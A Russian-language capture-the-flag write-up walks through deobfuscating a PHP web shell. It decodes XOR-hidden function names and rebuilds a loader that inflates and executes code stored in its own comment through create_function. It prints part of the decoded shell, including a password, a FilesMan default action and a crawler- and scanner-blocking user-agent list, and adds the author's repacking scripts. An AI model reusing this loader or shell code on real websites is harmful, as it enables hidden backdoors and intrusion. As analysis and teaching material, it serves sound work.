

По первым символам файла «<?php» можно понять, что это исполняемый скрипт, написанный на php.

В последних строчках представлен код, в котором переменные \$FHC, \$XfL, \$bqcl, \$DSG и \$LAm инициализируются через битовую операцию XOR (^) между строками.

С помощью следующего скрипта python можно получить значения этих переменных:

```
import re

# Имена переменных, которые нужно извлечь
target_vars = {'DSG', 'FHC', 'LAm', 'XfL', 'bqcl'}

# Словари для хранения зашифрованных значений и ключей
encrypted_values = {}
keys = {}

# Чтение файла с именем "1"
with open('1', 'r', encoding='utf-8', errors='ignore') as f:
    content = f.read()

# Регулярное выражение для поиска строк вида $var='...'";
pattern = r'\$(\w+)\s*=\s*\'([^\']*)\s*\^\'([^\']*)\s*\'";'

matches = re.findall(pattern, content)

for var_name, encrypted_str, key in matches:
    if var_name in target_vars:
        # Преобразуем экранированные символы (например, \n, \t и т.д.) в настоящие байты/символы
        # Но в данном случае encrypted_str — это строка с буквальными символами (возможно,
        # недружелюбными для печати)
        # Поэтому просто сохраняем как есть (в виде строки, где каждый символ — это байт)
        encrypted_values[var_name] = encrypted_str
        keys[var_name] = key

# Проверка: все ли переменные найдены
missing = target_vars - set(encrypted_values.keys())
if missing:
    raise ValueError(f"Не найдены переменные в файле: {missing}")

# Функция для расшифровки через XOR
def xor_decrypt(encrypted_text, key):
    # Расширяем ключ до длины зашифрованного текста
    extended_key = (key * ((len(encrypted_text) // len(key)) + 1))[:len(encrypted_text)]
    decrypted = "".join(chr(ord(c) ^ ord(k)) for c, k in zip(encrypted_text, extended_key))
    return decrypted

# Расшифровываем
decrypted = {}
for var in target_vars:
    decrypted[var] = xor_decrypt(encrypted_values[var], keys[var])

# Вывод результатов
for var in ['DSG', 'FHC', 'LAm', 'XfL', 'bqcl']:
    print(f'{var}: ', repr(decrypted[var])) # используем repr, чтобы видеть непечатаемые символы
```

Полученные значения:

DSG: 'preg\_match'

FHC: 'create\_function'

LAm: 'file'

XfL: 'gzinflate'

bqcl: 'implode'

Функция `create_function` представляет выполнение кода  
`gzinflate` соответствует функции `gzinflate`, которая выполняет распаковку  
сжатых данных.

`implode` — функция для объединения строк.

`preg_match` — регулярное выражение для извлечения данных.

`file` — чтение содержимого файла.

С помощью замены переменных из исходного файла получим  
следующую функцию:

```
<?php
/** data */
@("create_function")(
    ""
    ,
    "};"
    .
    ("gzinflate")(
        ("preg_match")(
            "#/*\*(.*)\*/#s",
            ("implode")("", ("file")(__FILE__)),
            $match
        )
        ? $match[1]
        : ""
    )
    .
    "/*"
);
```

Итак, код работает следующим образом:

Читает текущий PHP-файл.

Извлекает все данные, заключенные между `/**` и `*/`.

Распаковывает полученные данные функцией **gzinflate**.

Выполняет полученный и распакованный код.

Снова навайбкодим скрипт для извлечения данных из комментария `/**`  
`raw_data */`

```
import re
import base64

# Имя файла с вредоносным PHP-кодом
filename = '1' # или 'malware.php'

# Читаем файл в бинарном режиме
with open(filename, 'rb') as f:
    content = f.read()

# Ищем шаблон: /** ... */
# Используем re.DOTALL, чтобы . совпадал с \n
```

```

match = re.search(rb'\*(.*?)\*', content, re.DOTALL)

if match:
    raw_data = match.group(1) # это bytes!
    b64_encoded = base64.b64encode(raw_data).decode('ascii')
    print("Base64-encoded payload:")
    print(b64_encoded)

    # Опционально: сохранить в файл
    with open('payload.b64', 'w') as out:
        out.write(b64_encoded)
    print("\nСохранено в payload.b64")
else:
    print("Не найдено содержимое между /** и **/")

```

Для просмотра исходного вредоносного кода можно использовать онлайн песочницу (например <https://onlinephp.io/>).

Выполним следующий код:

```
<?php
```

```
print(gzinflate(base64_decode('')));
```

Где в `base64_decode('')` подаются данные, расположенные между `/**` и `/**/` из исходного файла **в кодировке base64**.

Получаем исходные код скрипта:

## PHP Sandbox

## Test your PHP code with this code tester

You can test and compare your PHP code on 400+ PHP versions with this online editor.

PHP Sandbox

```
7/BDqJ3Sv5WLE01BfH3H1JjQgRH1Sz7/SdZ3bYh5yP01A5L2zwy1fC0wcbBdGfHskB8DyOVNPKNo1SvHfuc5Iqz2Z2AhasJmE1SPAmMg1w121SHR0Vldm0pJmR1B8y0c0JqXp1G4H0K0J13B1YU0spq5qic4XB5R3
udd1UCBNPK8no2K3gbjAtf1qt0H8mf90oClcpEXcE64+1hPLPX6w1p1n150H8rQ2G06+0xdkt1ZVU4EULS1woNesw/2Ba1pM+mf7Tg1LH0YfWfQDMY2SY18q6nY7eJ25zvokCwlt+s7c/8bfdS9qmosLJ
+84s1czcehK7qeffx3g5006aBkGofK+/GdMtwc+9bi+5uqxaM0jpvkzyjJqou2foKt5FwcS57SrSeJKcpqfEw1Pa03x2dVR/QwddJkdffef67V1AG7WQfEULZM1McQXIT5M3lMn1212decydpHdR31JkP057ubCVO
+fwbgtrdmh6C30Pkw/oc3jnfM3YrU3T214mtufVL9vp8tk1RucB9In0zhNSbjTqYUL5dVLK6cm5W69Z6dcCaqfZf3gXTJ3B0QWJh6613r1YOfm1g6h5h0
+apxui#MYJ3VFH1md3pyppFLCSq71WgocCBaktmyX8UekMk5Z06cADLFVLDmdst/opb8+1VB2M7InLtaH9ZDn68n1XBVvHTPCk0wJ7BG8r7je1W6e01ShrBkbbz2JhmV6QTb0sluMka
+U361amwcgZQmF56u1Fo3ab3PAKfSEW1Hm4511A3bst11ADELch4Alahxn5geJuAsGf6Wmh4Mkd4khCylw1enkukgovZKc5B596g+4YfLZSEdMj35rjG0M4XbN1Xtaosor8HMcVbXknoXNM5Bif626C
/3EYhoyj7BmhfzKAP1TFVWdusAk0S0541q0J5oPWCJG1TE7B3Mcabw/eU29C/je0dA/1Naar1KfA9n+d1rBkbbm/zW5XZRSgltH1TeaVmr1KJpx0
+e0d1bMaX0w55hKwJgdrU4Lcc0Mv0302yGQ1Dwup1Dv0e3eqV71m1c1dXwK0J7M19Vf1n13e6f7Kx2H137d4d316r1aj0p3e4611Tm01ggpyp0bkh0u51CVmhu0P0D1D1H
+u4Bdq20L0XTDjY1uWfCm5S06kktIveV59u190Z41Dw0v5ALr0tB0YpJ0q7vderqu0v765sc+XEdpZ511/jmh0z0L001V5jsa5WPK8q19Wveuo5fom1HmB0b5y01Inke3y5k7Y651Tw1W5gJ0BC0vNmdWqPf
/031X55jK38r-Hxkn0Kwz/01c1UandFog1M5RpkwJ0K0x51407HtkzpTL1XPyP5Q0dM0jMvMv8b5/8TVMB8R8EDrKxdw1g5#HUEbnK1xyd3Gz7Z1TKPra04FXpu1VqcZj
/9rp2Z3H1WavK5Gk1Z591AqK8s3K5f4UTRk1M020X05P2VRrZTXg1oDwMWTdny90+L3X2XP0dP/00K+QzQ278JqR33TE9K6ZfwobyB8B/R3FQWscPK7LJA3VPHfSzY21cVb
+q9p92eUTzmsdPndc1f118hu0dNv8Jqu2004zAGvU+FX10YRQ1dbn67h20VED5d+12FXNv8qk6Q0AS41abyHvIdaX+cVrenN138zc/F4Wdy0Wd51r1+9Tq58CBM25eALPOTK25V1x0TJ
+Q0dfoMf0XK1q45kqf27QNg9v918H449u3qg/DnrUz1eFPR6Q0vwaTPrr70bv1n/w15/3zyav7yqJ3/vty90bkgz79PF8+NVH8Buo07r49f3rV+960p5J2f0FHU1+VTS837Ze33Qn76+7P
/3j1ZHfR7WfAdR49ZawfJy5/14/p+e0Gn/t17/TSu4VhWf0wZv9NvV7A8Hf50eHqar66fHL480T51Ru7pX9C3VY3dm73fh1/fpn1/eu50tpz6/6k5+bva1td0E2+uv1f/cab2hKw05eH129vnr4N0Tna2/9KP20BVf
/Xf9mF3m33d0v9Z/eu9P/Pr3gp/Pzpph7ezJ69u3J/KxZKQJ0obzY1B65S8P5AD0Ej0WvZ1D0e3G7E3H4/nP26U10P3rrJ2ef9H1fK40w1m1G436P8V1B1L/2X767Qd53pVord1Pxe/ETzn73/1ekspT488T
+11VfPKzJyJfJ196a7hD0f03V0d07NR71V3T1uW0fZue3B0tLah1C0K03KPCy1ayJqLexp4M1L/vJm6W60z50du13Vh6Z/1T3zfhB27Vz4fuz67948fph436fLhwaT17w23JX/afU284FHE1egdyr157jKvveVL
/a045vnpXf1z54/uxgbfiae/7y9Ym7h1r0X0XIEKjvul470HrzcuaNR8v+lvvmm31Q048DH/b233+ovXp073X137781h5+Pl05t04g+anzNP8G0xN10Pgmf61t14U0C23oPUj0g0uzs9B0ndP378
+g3P3Tg8M160506P1Xceaceano1fP8f7x0b1Jvfe8Bm1ln3ePn016dj82D4w+dc20K7Lq/rh/MBNvPqdCcvot.fqa1psJ8eNakX3F9x1XreeP01aYb/jrqvfs+dvL5huYX0g0J5hrywL/v+rcPR398
+g312j860t4FL2J0es/hvbx0Zu3j1/5L7+LW6fL1/QKZ369dW19PR1Jhy8p3T186U0090YwGt5P007e3xJhmJ960uJ1nFDp67nP297vn74+c6/cK71PL86aJ48P/81ln7yHJ3849Hk1+BPx2dEO5ZLPX+U9PZDh68vIG7qU3u
/etB/3v9xuifd611//ZsL+FL/xx0TeAL41083fJ8x1NP5TmAB5roESC84hvn260G8He7hW97EJ163Z1mCnJVs7Yk42aNUrNbJY8q5pKNSKIN421SPXCC1ekfj8BRNVPG6kA7LcxpRsr510ExyKMSYsSwTneisfE5CELVS6L
3XQW64M1K1LH1G1657U01B4y43Kxsa/Mzq/GoNJP86fZ/K9WKL21L1cV5fQeRClrCqfjmsJ37C7228p1112Zfouddntf8t/dfh1fBUE3v0gP8g3qJ/HYf4UoTV100gapXYuKevZQw3rSpvZM
/kQvM9sc0gabQ3C5d8CpX1nJ1Gf5QvKq/gwPH5G1B84fhtqLDX16Jb1q+5553YHrpYxvYqWdQl0a5fkrCtV7QDyZrq8KjA1j5e3bMcLgk616s0n07awncP7E10qyVrfAfjZ30ca15b3U
```

PHP Versions and Options (8.1.33)

Other Options

Execute Code

Save or share code

Result for 8.1.33:

Execution time: 0.002357s Mem: 420KB Max: 655KB

```
$auth_pass = "FECTF{h1dd3n_in_c0mm3nts_w1th_gz1nfl4t3}";
$color = "#df5f";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'UTF-8';

if ( !empty($_SERVER['HTTP_USER_AGENT']) ) {
    $userAgents = array("008","ABACHOBot","Accoona-AI-Agent","AddSugarSpiderBot","AnyApexBot","Aport","Arachmo","B-1-i-t-z-B-O-
T","BaiduSpider","BecomeBot","BeslistBot","BigMir","BillyBobBot","Bimbot","Bingbot","BltzBOT","CatchBot","Cerberian
Drtrs","Cntrlotte","ConveraCrawler","Covario IDS","DataparkSearch","DiamondBot","Discobot","Dotbot","DuckDuckBot","EARTHCOM.info","EmeraldShield.com
WebBot","EsperanzaBot","Exabot","FAST Enterprise Crawler","FAST-WebCrawler","FDS-
robot","FindLinks","FurlBot","FyberSpiden","Gaisbot","GalaxyBot","Gigabot","Girafabot","Google","Googlebot","Googlebot-
Image","Gurujibot","HappyFunBot","Holmes","IRLbot","IssueCrawler","Jaxified
Bot","Jyxbot","KoepaBot","L.webis","LDspider","LapozzBot","Larbin","LexxeBot","Linguee
Bot","LinkWalker","MJ12bot","MLBot","MSNBot","MSRBot","MVAclient","Mail.Ru","Mediapartners-Google","Mnogosearch","MojeekBot","Moreoverbot","Morning
Paper","NG-Search","NetResearchServer","NetSeer Crawler","NewsGator","Nusearch
Spider","NutchCVS","Nymesis","OOZBOT","OmniExplorer.Bot","Orbiter","PageBitesHyperBot","Peew","Pompos","PostPost","Psbob","PycURL","Qseero","RAMPYBot","Radia
n6","Ramblen","RufusBot","SBIder","SEOChat:Bot","SandCrawler","Scooter","ScoutJet","Scrubby","SearchSight","Seekbot","Sensis Web Crawler","SeznamBot","Shim-
Crawler","ShopWiki","Shoula robot","Sitebot","Slurp","Snappy","Sosospider","Speedy
Spider","Squorm","StackRamblen","SurveyBot","SynooBot","Teoma","TerrawizBot","TheSuBot","Thumbnaill.CZ robot","TinEye","TurnitinBot","TweetedTimes
Bot","TwengaBot","Urifilebot","VYU2","Vagabondo","VoilaBot","Vortex","WebAlta","Websquash.com","WoFindex
Robot","WompileFactory","Xaldon_WebSpider","Yahoo","Yahoo! Slurp","Yahoo! Slurp China","YahooSeeker","YahooSeeker-
Testing","Yandex","YandexBot","YandexImages","YandexMetrika","Yasaklibot","Yeti","Yodaobot","YoudaoBot","Zao","Zealbot","ZyBorg","bingbot","boitho.com-
dc","boitho.com-
robot","bbot","cosmos","envolk[IIS]spider","g2crawler","genieBot","hl_ftien_spider","htdig","iCCrawler","ia_archiver","iaskspider","ichiro","igdeSpyder","lm
spider","lwp-trivial","mabontland","magpie-
crawler","mogimogi","msnbot","mxbot","nicebot","noxturmbot","obot","oegp","omgilibot","polybot","semanticdiscovery","silk","sogou
spider","suggybot","truwoGPS","updated","voyager","webcollage","wf84","yacy","yoogliFetchAgent","zspider","shodan","censys");
    if ( preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']) ) {
        header('HTTP/1.1 444 No Response');
        exit;
    }
}
```

ФИАГ: FECTF{h1dd3n\_in\_c0mm3nts\_w1th\_gz1nfl4t3}

Для создания задания переупаковывал так:

```
<?php

// Исходная base64-строка (замените на реальную)
$base64_encoded = 'eJxLtDK0NDI2MTUzt7C0sraxtXNwdHJ2cXVz9/D08vbx9fMP...'; // ← ВСТАВЬТЕ СЮДА НАСТОЯЩЮЮ
СТРОКУ

// 1. Декодируем base64
$compressed = base64_decode($base64_encoded);

if ($compressed === false) {
    die("Ошибка: не удалось декодировать base64.\n");
}

// 2. Распаковываем с помощью gzinflate
$uncompressed = @gzinflate($compressed);

if ($uncompressed === false) {
    // Попробуем gzuncompress, если gzinflate не сработал
    $uncompressed = @gzuncompress($compressed);
    if ($uncompressed === false) {
        die("Ошибка: не удалось распаковать данные (проверьте, что строка действительно сжата через gzdeflate/gzcompress).\n");
    }
}

// 3. Заменяем хеш на флаг
$sold_hash = '9da7ce1c7964988ebbb842d61703eb9f97c734bc';
$new_flag = 'FECTF{h1dd3n_1n_c0mm3nts_w1th_gz1nfl4t3}';

$modified_text = str_replace($sold_hash, $new_flag, $uncompressed);

// Убедимся, что замена произошла
if ($modified_text !== $uncompressed) {
    echo "Внимание: хеш '$sold_hash' не найден в распакованном тексте.\n";
}

// 4. Сжимаем обратно (используем gzdeflate — это то, что ожидает gzinflate)
$recompressed = gzdeflate($modified_text);

if ($recompressed === false) {
    die("Ошибка: не удалось сжать данные.\n");
}

// 5. Кодируем в base64
$new_base64 = base64_encode($recompressed);

// Выводим результат
echo "Новая base64-строка:\n";
echo $new_base64 . "\n";

// (Опционально) Проверка: распакуем и выведем текст для подтверждения
$test = gzinflate(base64_decode($new_base64));
echo "\nПроверка (распакованный текст):\n";
echo $test . "\n";

?>
```

Далее делаем из base64 текст и обновляем скрипт

```
import base64

# Входная base64-строка
filename = "payload.b64"

with open(filename, 'r') as f:
    base64_recode = f.read()

# Декодируем из base64 → получаем байты
decoded_bytes = base64.b64decode(base64_recode)
```

```
# Сохраняем как текстовый файл  
with open('raw.php', 'wb') as out:  
    out.write(decoded_bytes)
```

```
print("Сохранено в raw.php")
```

Дальше я уже как-то руками перенес начало и конец скрипта (при этом кодируя в base64 при переносе и декодирую обратно, чтобы не потерять hex значения при изменении кодировки). Наверно можно было умнее сделать, но мне лень.